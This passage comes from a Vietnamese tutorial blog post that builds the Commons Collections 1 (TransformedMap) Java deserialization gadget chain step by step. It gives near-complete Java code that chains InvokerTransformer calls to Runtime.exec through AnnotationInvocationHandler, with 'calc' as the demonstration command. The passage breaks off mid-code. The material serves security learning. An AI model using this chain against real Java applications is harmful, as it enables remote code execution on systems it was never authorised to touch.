class="line">        String[] cmd = <span class="keyword">new</span> <span class="title class_">String</span>[] &#123;<span class="string">&quot;calc&quot;</span>&#125;;</span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;, cmd);</span><br><span class="line">        Map&lt;Object, Object&gt; map = (TransformedMap) TransformedMap.decorate(<span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(), <span class="literal">null</span>, invokerTransformer);</span><br><span class="line">        map.put(<span class="literal">null</span>, <span class="literal">null</span>);</span><br><span class="line">        <span class="keyword">for</span>(Map.Entry entry : map.entrySet())&#123;</span><br><span class="line">            entry.setValue(Runtime.getRuntime());<span class="comment">//nếu bạn không hiểu dòng này thì nhìn lại hàm checkSetValue và POC trên kia.</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Nó đã kích hoạt được lệnh exec của lớp Runtime. Bây giờ chúng ta sẽ tìm xem có phương thức readObject nào gọi phương thức setValue này không. Click chuột phải vào hàm setValue và chọn Find Usage. Ở đây mình không thể tìm được lớp nào bởi vì mình chưa decompile trực tiếp các file trong jdk8u65, khá nhiều thứ để làm nên thôi mình sẽ tiếp tục làm theo sơ đồ của người ta.</p><h3 id="AnnotationInvocationHandler"><a href="#AnnotationInvocationHandler" class="headerlink" title="AnnotationInvocationHandler"></a>AnnotationInvocationHandler</h3><p><code>Ctrl + N</code> để tìm lớp AnnotationInvocationHandler, trong phương thức readObject của lớp này, chúng ta thấy có phương thức setValue được gọi.<br>Hàm tạo của lớp AnnotationInvocationHandler:</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/11/04/Commons-Collections1-TransformedMap/AnnotationInvocationHandler.png"></p><p>Hàm readObject của lớp AnnotationInvocationHandler:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">readObject</span><span class="params">(ObjectInputStream var1)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException &#123;</span><br><span class="line">        var1.defaultReadObject();</span><br><span class="line">        <span class="type">AnnotationType</span> <span class="variable">var2</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            var2 = AnnotationType.getInstance(<span class="built_in">this</span>.type);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (IllegalArgumentException var9) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">InvalidObjectException</span>(<span class="string">&quot;Non-annotation type in annotation serial stream&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="type">Map</span> <span class="variable">var3</span> <span class="operator">=</span> var2.memberTypes();</span><br><span class="line">        <span class="type">Iterator</span> <span class="variable">var4</span> <span class="operator">=</span> <span class="built_in">this</span>.memberValues.entrySet().iterator();</span><br><span class="line"></span><br><span class="line">        <span class="keyword">while</span>(var4.hasNext()) &#123;</span><br><span class="line">            Map.<span class="type">Entry</span> <span class="variable">var5</span> <span class="operator">=</span> (Map.Entry)var4.next();</span><br><span class="line">            <span class="type">String</span> <span class="variable">var6</span> <span class="operator">=</span> (String)var5.getKey();</span><br><span class="line">            <span class="type">Class</span> <span class="variable">var7</span> <span class="operator">=</span> (Class)var3.get(var6);</span><br><span class="line">            <span class="keyword">if</span> (var7 != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="type">Object</span> <span class="variable">var8</span> <span class="operator">=</span> var5.getValue();</span><br><span class="line">                <span class="keyword">if</span> (!var7.isInstance(var8) &amp;&amp; !(var8 <span class="keyword">instanceof</span> ExceptionProxy)) &#123;</span><br><span class="line">                    var5.setValue((<span class="keyword">new</span> <span class="title class_">AnnotationTypeMismatchExceptionProxy</span>(var8.getClass() + <span class="string">&quot;[&quot;</span> + var8 + <span class="string">&quot;]&quot;</span>)).setMember((Method)var2.members().get(var6)));</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>Lớp AnnotationInvocationHandler có phạm vi default, nên chúng ta cần lấy lớp này và hàm tạo của nó thông qua reflection, sau đó khởi tạo nó. (stuck cũng lâu phết hic)</p><ul><li>Constructor của lớp Non-public phải lấy bằng phương thức getDeclaredConstructor().</li><li>Tham số thứ nhất của hàm tạo là một lớp, tham số thứ hai là một map.</li></ul><p>Một đoạn code nhỏ để test thử việc khởi tạo lớp AnnotationInvocationHandler:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.TransformedMap;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"><span class="keyword">import</span> java.util.*;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">testTransformedMap</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;ser.bin&quot;</span>));</span><br><span class="line">        oos.writeObject(obj);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">unserialize</span><span class="params">(String Filename)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException&#123;</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(Filename));</span><br><span class="line">        <span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> ois.readObject();</span><br><span class="line">        <span class="keyword">return</span> obj;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        String[] cmd = <span class="keyword">new</span> <span class="title class_">String</span>[] &#123;<span class="string">&quot;calc&quot;</span>&#125;;</span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">invokerTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;, cmd);</span><br><span class="line">        Map&lt;Object, Object&gt; map = (TransformedMap) TransformedMap.decorate(<span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(), <span class="literal">null</span>, invokerTransformer);</span><br><span class="line">        map.put(<span class="string">&quot;key&quot;</span>, <span class="string">&quot;value&quot;</span>);</span><br><span class="line">        <span class="type">Class</span> <span class="variable">aihClass</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;</span>);</span><br><span class="line">        <span class="type">Constructor</span> <span class="variable">aihClassConstructor</span> <span class="operator">=</span> aihClass.getDeclaredConstructor(Class.class, Map.class);</span><br><span class="line">        aihClassConstructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">aihObject</span> <span class="operator">=</span> aihClassConstructor.newInstance(Override.class, map);<span class="comment">//Tham số đầu của constructor là lớp bất kỳ kế thừa Annotation, và Override.class là một lớp thõa mãn. Các bạn có thể tự tìm hiểu thêm về Annotation.</span></span><br><span class="line">        serialize(aihObject);</span><br><span class="line">        unserialize(<span class="string">&quot;ser.bin&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Đến đây vẫn chưa có gì xảy ra bởi vì:</p><ul><li>Đối tượng Runtime chưa được đặt vào hàm setValue. Và ở đây nó được set là object kiểu <code>AnnotationTypeMismatchExceptionProxy</code>, chúng ta không thể kiểm soát được.<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (var7 != <span class="literal">null</span>) &#123;</span><br><span class="line">    <span class="type">Object</span> <span class="variable">var8</span> <span class="operator">=</span> var5.getValue();</span><br><span class="line">    <span class="keyword">if</span> (!var7.isInstance(var8) &amp;&amp; !(var8 <span class="keyword">instanceof</span> ExceptionProxy)) &#123;</span><br><span class="line">        var5.setValue((<span class="keyword">new</span> <span class="title class_">AnnotationTypeMismatchExceptionProxy</span>(var8.getClass() + <span class="string">&quot;[&quot;</span> + var8 + <span class="string">&quot;]&quot;</span>)).setMember((Method)var2.members().get(var6)));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li><li>Chúng ta chưa làm thõa mãn hai điều kiện dẫn đến hàm setValue trong AnnotationInvocationHandler.readObject.</li><li>Đối tượng Runtime không thể serialize và cần được chuyển đổi thành dạng có thể serialize thông qua reflection.</li></ul><h3 id="Giai-quyet-van-de-Runtime-khong-the-serialize"><a href="#Giai-quyet-van-de-Runtime-khong-the-serialize" class="headerlink" title="Giải quyết vấn đề Runtime không thể serialize"></a>Giải quyết vấn đề Runtime không thể serialize</h3><p>Để thõa mãn được điều kiện serialize, mọi thứ trong nó đều phải serialize được. Tuy nhiên Runtime không thể serialize được, vậy nên chúng ta cần dùng Runtime.class để lúc deser, nó sẽ tạo một đối tượng Runtime cho chúng ta.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">test</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">Class</span> <span class="variable">runtimeClass</span> <span class="operator">=</span> Runtime.class;</span><br><span class="line">        <span class="type">Method</span> <span class="variable">method</span> <span class="operator">=</span> runtimeClass.getDeclaredMethod(<span class="string">&quot;getRuntime&quot;</span>);</span><br><span class="line">        <span class="type">Runtime</span> <span class="variable">runtime</span> <span class="operator">=</span> (Runtime) method.invoke(<span class="literal">null</span>);<span class="comment">//method getRuntime() không cần tham số</span></span><br><span class="line">        <span class="type">Method</span> <span class="variable">exec</span> <span class="operator">=</span> runtimeClass.getDeclaredMethod(<span class="string">&quot;exec&quot;</span>, String.class);</span><br><span class="line">        exec.invoke(runtime, <span class="string">&quot;calc&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Thay vì invoke trực tiếp, chúng ta có thể lợi dụng lớp InvokerTransformer để invoke hàm getRuntime hay invoke method và invoke exec của lớp runtime. Mình sẽ đi từng bước cho các bạn dễ hiểu.<br>Đầu tiên là invoke method <code>getDeclaredMethod</code> để lấy ra method getRuntime.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">test</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">Class</span> <span class="variable">runtimeClass</span> <span class="operator">=</span> Runtime.class;</span><br><span class="line">        String[] cmd = <span class="keyword">new</span> <span class="title class_">String</span>[] &#123;<span class="string">&quot;calc&quot;</span>&#125;;</span><br><span class="line">        <span class="comment">//Tương đương với Method getRuntimeMethod = runtimeClass.getDeclaredMethod(&quot;getRuntime&quot;);</span></span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">InvokerGetMethod</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getDeclaredMethod&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class, Class[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>, <span class="literal">null</span>&#125;);</span><br><span class="line">        <span class="type">Method</span> <span class="variable">getRuntimeMethod</span> <span class="operator">=</span> (Method) InvokerGetMethod.transform(Runtime.class);</span><br><span class="line">        <span class="comment">// Tương đương với Method method = runtimeClass.getDeclaredMethod(&quot;getRuntime&quot;);</span></span><br><span class="line">        <span class="type">Runtime</span> <span class="variable">runtime</span> <span class="operator">=</span> (Runtime) getMethod.invoke(<span class="literal">null</span>);</span><br><span class="line">        runtime.exec(<span class="string">&quot;calc&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Tiếp theo là invoke biến <code>getRuntimeMethod</code> để tạo Runtime object. Rồi thực hiện invoke method exec của object runtime mới tạo ra. </p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">test</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="type">Class</span> <span class="variable">runtimeClass</span> <span class="operator">=</span> Runtime.class;</span><br><span class="line">        <span class="comment">//Tương đương với Method getRuntimeMethod = runtimeClass.getDeclaredMethod(&quot;getRuntime&quot;);</span></span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">InvokerGetMethod</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getDeclaredMethod&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class, Class[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>, <span class="literal">null</span>&#125;);</span><br><span class="line">        <span class="type">Method</span> <span class="variable">getRuntimeMethod</span> <span class="operator">=</span> (Method) InvokerGetMethod.transform(Runtime.class);</span><br><span class="line">        <span class="comment">//Tương đương với Runtime runtime = (Runtime) method.invoke(null);</span></span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">InvokerRuntime</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class, Object[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>, <span class="literal">null</span>&#125;);</span><br><span class="line">        <span class="type">Runtime</span> <span class="variable">runtime</span> <span class="operator">=</span> (Runtime) InvokerRuntime.transform(getRuntimeMethod);</span><br><span class="line">        <span class="comment">//Tương đương với exec.invoke(runtime, &quot;calc&quot;);</span></span><br><span class="line">        <span class="type">InvokerTransformer</span> <span class="variable">InvokerExec</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;, <span class="keyword">new</span> <span class="title class_">String</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;);</span><br><span class="line">        InvokerExec.transform(runtime);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Để ý ở phần trên chúng ta có các InvokerTransformer nối tiếp nhau, để thuận tiện hơn người ta đã có tạo ra một lớp là ChainedTransformer, nó cũng thực hiện như InvokerTransformer tuy nhiên điểm khác là nó sẽ thực thi theo một chuỗi gắn kết với nhau. Chúng ta sẽ lợi dụng hàm này để thực thi tương tự như trên.</p><h3 id="ChainedTransformer"><a href="#ChainedTransformer" class="headerlink" title="ChainedTransformer"></a>ChainedTransformer</h3><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/11/04/Commons-Collections1-TransformedMap/ChainedTransformed.png"></p><p>Viết tiếp chain theo ChainedTranformer:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">test</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        Transformer[] transformers = &#123;</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getDeclaredMethod&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class, Class[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class, Object[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;, <span class="keyword">new</span> <span class="title class_">String</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;)</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line">        chainedTransformer.transform(Runtime.class);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Kết hợp với TransformedMap chúng ta có chuỗi hoàn chỉnh sau:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.TransformedMap;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Annotation;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"><span class="keyword">import</span> java.util.*;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">testTransformedMap</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;ser.bin&quot;</span>));</span><br><span class="line">        oos.writeObject(obj);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">unserialize</span><span class="params">(String Filename)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException&#123;</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(Filename));</span><br><span class="line">        <span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> ois.readObject();</span><br><span class="line">        <span class="keyword">return</span> obj;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        String[] cmd = <span class="keyword">new</span> <span class="title class_">String</span>[] &#123;<span class="string">&quot;calc&quot;</span>&#125;;</span><br><span class="line">        HashMap&lt;Object, Object&gt; hashMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        hashMap.put(<span class="string">&quot;key&quot;</span>, <span class="string">&quot;value&quot;</span>);</span><br><span class="line">        Transformer[] transformers = &#123;</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;getDeclaredMethod&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class, Class[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="string">&quot;getRuntime&quot;</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;invoke&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Object.class, Object[].class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;<span class="literal">null</span>, <span class="literal">null</span>&#125;),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">&quot;exec&quot;</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;String.class&#125;, <span class="keyword">new</span> <span class="title class_">String</span>[]&#123;<span class="string">&quot;calc&quot;</span>&#125;)</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line">        Map&lt;Object, Object&gt; map = (TransformedMap) TransformedMap.decorate(hashMap, <span class="literal">null</span>, chainedTransformer);</span><br><span class="line">        <span class="type">Class</span> <span class="variable">aihClass</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;</span>);</span><br><span class="line">        <span class="type">Constructor</span> <span class="variable">aihClassConstructor</span> <span class="operator">=</span> aihClass.getDeclaredConstructor(Class.class, Map.class);</span><br><span class="line">        aihClassConstructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">aihObject</span> <span class="operator">=</span> aihClassConstructor.newInstance(Override.class, map);</span><br><span class="line">        serialize(aihObject);</span><br><span class="line">        unserialize(<span class="string">&quot;ser.bin&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="Giai-quyet-van-de-cau-lenh-if"><a href="#Giai-quyet-van-de-cau-lenh-if" class="headerlink" title="Giải quyết vấn đề câu lệnh if"></a>Giải quyết vấn đề câu lệnh if</h3><p>Đến đây chúng ta vẫn chưa giải quyết vấn đề AnnotationInvocationHandler.readObject sử dụng hàm setValue. Đến đây các bạn nên debug để xử lý dễ dàng hơn nhé.</p><p>Đặt breakpoint ở dòng 339 và 341.</p><p><img src="https://raw.githubusercontent.com/rayinaw/rayinaw.github.io/main/2022/11/04/Commons-Collections1-TransformedMap/debug-readObject.png"></p><p>Chúng ta cần var7 là một giá trị không null.</p><ul><li><code>Map var3 = var2.memberTypes()</code>, var2 là một Object kiểu AnnotationType của lớp kế thừa Annotation mà ta truyền vào ở đoạn <code>Object aihObject = aihClassConstructor.newInstance(Override.class, map);</code>. </li><li><code>var2 = AnnotationType.getInstance(this.type)</code>: var2 là một Object kiểu AnnotationType của lớp kế thừa Annotation mà ta truyền vào ở đoạn <code>Object aihObject = aihClassConstructor.newInstance(Override.class, map);</code></li><li>Code gốc khá là khó hiểu nên các bạn cứ hiểu đơn giản là trong AnnotationType có biến là memberTypes là một map với key là tên của biến trong <code>Override.class</code> mình cho vào, và value là kiểu của biến này. Ta gọi <code>var2.memberTypes()</code> sẽ trả về map này.<br>Vậy là lỗi ở đây xảy ra do interface Override không có biến nào cả. Chúng ta cần tìm Annotation khác có biến, ở đây chúng ta có annotation Target có một biến. Và đặt lại giá trị trong map là <code>key=value</code> và <code>value=bất kỳ</code>:<figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span 